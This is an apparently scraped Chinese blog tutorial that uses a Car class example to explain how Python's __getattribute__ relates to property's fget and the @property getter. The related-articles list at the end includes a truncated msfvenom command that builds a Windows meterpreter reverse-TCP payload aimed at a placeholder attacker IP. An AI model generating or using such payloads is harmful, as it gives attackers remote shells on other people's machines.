第8.27节 Python中__getattribute__与property的fget、@property装饰器getter关系深入解析
一、 引言
在《第7.23节 Python使用property函数定义属性简化属性访问的代码实现》和《第7.26节 Python中的@property装饰器定义属性访问方法getter、setter、deleter 详解》中介绍了两种设置属性访问方法,通过设置可以在相关属性访问时调用对应的方法执行访问,支持属性简单访问(如对象名.属性名、赋值语句)、或者为了控制访问逻辑使用的。那么property函数其中的fget、@property装饰器的getter之间的关系是怎样的呢?下面我们通过案例来进行分析。
二、 案例
- 案例说明:
本案例定义类Car,其中有二个实例变量power、totaldistance、三个实例方法(构造方法、__ getattribute__方法、gettotaldistance方法)、一个装饰器和一个property函数定义属性变量语句。
在__ getattribute__方法中将所有访问实例属性的属性名输出,并调用父类object类的__ getattribute__方法返回真正的数据。
装饰器将实例变量power定义为carpower属性输出,虽然二者的值是一样的,但是两个不同的实例属性;
property函数定义了totaldist属性,该属性输出的是实例变量totaldistance的值,二者值相同但实际上也是不同实例变量。然后我们执行totaldist和carpower的读取,看看输出是怎样的? - 案例代码
>>> class Car():
def __init__(self, power):
self.power = power
self.totaldistance = 10
def __getattribute__(self, properyname):
print("In __getattribute__,you are getting properyty: {}".format(properyname))
return object.__getattribute__(self, properyname)
@property
def carpower(self): #定义carpower属性的getter只读装饰器函数
print("execute carpower")
return self.power
def gettotaldistance(self):
print("execute gettotaldistance")
return self.totaldistance #定义property的fget函数
totaldist = property(gettotaldistance,None,None,'车辆行驶总里程') #定义totaldist属性
>>> car = Car('汽油发动机')
>>> car.carpower #获取装饰器@property 定义属性carpower
In __getattribute__,you are getting properyty: carpower
execute carpower
In __getattribute__,you are getting properyty: power
'汽油发动机'
>>> car.totaldist #获取内置函数property 定义属性totaldist
In __getattribute__,you are getting properyty: totaldist
execute gettotaldistance
In __getattribute__,you are getting properyty: totaldistance
10
>>>
- 案例截屏

- 案例说明
通过以上案例可以看出,使用装饰器@property 或property函数定义的属性(下称”定义属性”)访问过程是这样的:
1> 执行__ getattribute__方法去访问“定义属性”;
2> 调用@property的getter 或property类型的fget去执行具体的访问方法;
3> 访问方法访问具体实例变量数据,再次触发__ getattribute__方法返回真正的数据。
三、 总结
通过上述案例及分析, property的fget、@property装饰器getter两者是基本是相同的,只是两种不同的实现,为了描述方便,后面统称为“property的get方法”。
__getattribute__与“property的get方法”之间的异同点如下:
- 都能在对实例对象进行属性get时触发,但“property的get方法”只能针对一个“定义属性”,而__getattribute__能针对所有属性包括特殊变量进行触发,触发后参数中有具体属性名;
- “property的get方法”只能针对“定义属性”的实例变量,而__getattribute__还能针对实例方法;
- 两者在解释器使用dir、type、help访问属性时触发,只不过“property的get方法”只能针对“定义属性”触发,而__getattribute__针对实例方法和所有实例变量;
- “property的get方法”返回数据一般是对应方法直接访问实例(self.属性)变量,而__getattribute__不能直接访问实例(self.属性)变量,否则会触发递归调用,只能用父类的__getattribute__方法返回数据;
- “定义属性”由于是针对实例变量进行了查询或查询后经过运算返回的,因此它的访问首先会执行__getattribute__方法去访问“定义属性”的数据,然后该访问被定向到绑定的get方法,该get方法会再次触发__getattribute__方法去访问实际需要访问的实例变量,因此使用“property的get方法”去查询“定义属性”的数据时,肯定会触发至少两次__getattribute__方法的执行(次数需要看“property的get方法”去查询的实例变量有多少个);
- __getattribute__方法是截获所有通过“实例名.属性名”访问实例变量、类变量、实例方法的所有操作来控制对属性的访问,而“property的get方法”则是为了方便访问数据,提高代码的易读性而实施的属性和方法的绑定。
本节结合案例深入分析了__getattribute__方法与“property的get方法”的异同点,。
老猿Python,跟老猿学Python!
博客地址:https://blog.csdn.net/LaoYuanPython
请大家多多支持,点赞、评论和加关注!谢谢!
第8.27节 Python中__getattribute__与property的fget、@property装饰器getter关系深入解析的更多相关文章
- python中“生成器”、“迭代器”、“闭包”、“装饰器”的深入理解
python中"生成器"."迭代器"."闭包"."装饰器"的深入理解 一.生成器 1.生成器定义:在python中,一边 ...
- 第8.23节 Python中使用sort/sorted排序与“富比较”方法的关系分析
一. 引言 <第8.21节 Python中__lt__.gt__等 "富比较"("rich comparison")方法用途探究>和<第8.2 ...
- python中“生成器”、“迭代器”、“闭包”、“装饰器”的深入理解
一.生成器 1.什么是生成器? 在python中,一边循环一边计算的机制,称为生成器:generator. 2.生成器有什么优点? 1.节约内存.python在使用生成器时对延迟操作提供了支持.所谓延 ...
- 第7.19节 Python中的抽象类详解:abstractmethod、abc与真实子类
第7.19节 Python中的抽象类详解:abstractmethod.abc与真实子类 一. 引言 前面相关的章节已经介绍过,Python中定义某种类型是以实现了该类型对应的协议为标准的,而不 ...
- 第7.15节 Python中classmethod定义的类方法详解
第7.15节 Python中classmethod定义的类方法详解 类中的方法,除了实例方法外,还有两种方法,分别是类方法和静态方法.本节介绍类方法的定义和使用. 一. 类方法的定义 在类中定 ...
- 第7.26节 Python中的@property装饰器定义属性访问方法getter、setter、deleter 详解
第7.26节 Python中的@property装饰器定义属性访问方法getter.setter.deleter 详解 一. 引言 Python中的装饰器在前面接触过,老猿还没有深入展开介绍装饰 ...
- 第7.22节 Python中使用super调用父类的方法
第7.22节 Python中使用super调用父类的方法 前面章节很多地方都引入了super方法,这个方法就是访问超类这个类对象的.由于super方法的特殊性,本节单独谈一谈super方法. 一.su ...
- 第11.20节 Python 中正则表达式的扩展功能:后视断言、后视取反
一. 引言 在<第11.19节 Python 中正则表达式的扩展功能:前视断言和前视取反>中老猿介绍了前视断言和前视取反,与二者对应的还有后视断言和后视取反. 二. (?<=-)后视 ...
- 第14.12节 Python中使用BeautifulSoup解析http报文:使用select方法快速定位内容
一. 引言 在<第14.10节 Python中使用BeautifulSoup解析http报文:html标签相关属性的访问>和<第14.11节 Python中使用BeautifulSo ...
随机推荐
- 前言「HarmonyOS应用开发基础篇」
场景一.随着智能设备种类的不断增多,我们基本上每人都有好几台智能设备,比如智能手机,平板,耳机,音响,穿戴设备等等.这些设备都具有独立性,偶尔的组合也是我们通过手动去搭配,并且不一定能够完全组合在一起 ...
- php 获取抖音id
<?php public function getid($dy_url){ $header=get_headers($dy_url); $str = "/^.*?(\d+).*/&qu ...
- Java 最佳命名规则记录
类名:使用双驼峰规则.如 TestService 包名:命名全小写,且使用小写 如使用 web.csvdata.util 而不是 web.csvData.util 或 web.csvdata.util ...
- socket里面那个又爱又恨的锁
查一个问题:结果看了一下软中断以及系统 所耗cpu,心中满是伤痕啊------- perf 结果一眼可以看到:主要是锁 那么这个lock 是用来干什么的呢?? A:TCP socket的使用者有两种: ...
- nginx&http 第四章 ngx http代理 && 转载
Nginx访问上游服务器的流程大致分以下几个阶段:启动upstream.连接上游服务器.向上游发送请求.接收上游响应(包头/包体).结束请求. upstream相关的两个重要数据结构ngx_http_ ...
- Python学习笔记5:模块/包
1.模块 模块简单理解就是一组功能的集合. 在Python中,一个文件(.py)就是一个模块,文件名即模块名. 模块的好处是大大提高代码的可维护性,其次,代码不必从零开始.当一个模块编写完毕,就可以被 ...
- 控制算法PID-理解分析1
以下内容是来自网络上的,本人觉得有道理,拷贝下来,由于没有找到最源头的出处,没有注明来自何方. 转载,下面说法应该更通俗易懂一家庭,每次需要开支的时候丈夫P都要拿卡去取钱.需要多少取多少,因为银行最低 ...
- scrapy学习之爬虫练习平台22
前言 上一篇文章中爬取了爬虫练习平台的所有 ssr 网站,都是比较简单的,没有反爬措施,这次来爬一下后面的 spa 系列. 环境准备 这里沿用了上篇文章的环境和设置,就不重新搭建环境了. 开始爬取 s ...
- Blazor入手教程(一)前言
Blazor入手教程(一)前言 结论 最近在学习blazor.得出了这么一个结论: Blazor是一门很值得学习的技术,未来.net下将会有相当多的 web应用使用blazor开发.十分看好这一技术, ...
- msfvenom制作payload
windows msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端 ...